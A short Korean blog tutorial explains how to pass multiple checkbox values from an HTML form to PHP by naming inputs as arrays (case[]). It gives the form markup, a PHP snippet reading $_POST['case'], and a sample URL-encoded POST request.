웹 개발을 하다보면 체크박스를 이용하여 여러개의 값을 넘겨야 할 상황이 생깁니다.
대표적으로 옵션 같은 기능들이죠. form을 통한 전송 시 array 형태로 던지고 php에서 array로 받는다면 쉽게 구현할 수 있습니다.

아래 코드를 보도록 하겠습니다.

HTML 부분

<form action="./test.php" method="POST">
<input type="checkbox" name="case[]" value="A"> case1<br>
<input type="checkbox" name="case[]" value="B"> case2<br>
<input type="checkbox" name="case[]" value="C"> case3<br>
<input type="checkbox" name="case[]" value="D"> case4<br>
<input type="checkbox" name="case[]" value="E"> case5<br>
<input type="submit"><br>
</form>

PHP 부분

<?php

$list = $_POST['case'];
echo $list[0];
echo $list[1];

?>
주목해야할 부분은 HTML 코드 내 name 부분입니다. 보통 HTML 객체들을 인지하기 위해 name 이나 id를 지정하는데, 저런식으로 array 형태로도 지정할 수 있습니다. 해당 form 태그가 submit 될 때 요청은 아래와 같이 동일한 파라미터명으로 다수 발생합니다.

POST /test.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 25

case%5B%5D=A&case%5B%5D=C

일반적으로 $_POST나 $_GET 등은 각 서버 별 특징에 따라 하나의 파라미터 값만 받습니다.
다만 저런식으로 배열형태 [](%5B%5D)로 넘어오게 될 때 PHP는 배열로 인지하여 array에 집어넣게 됩니다.

그래서 $_POST['case'] 로 여러가지 값들의 리스트를 받을 수 있습니다.
아주 쉽고 간단하게 구현이 가능하네요.
Share: | Coffee Me: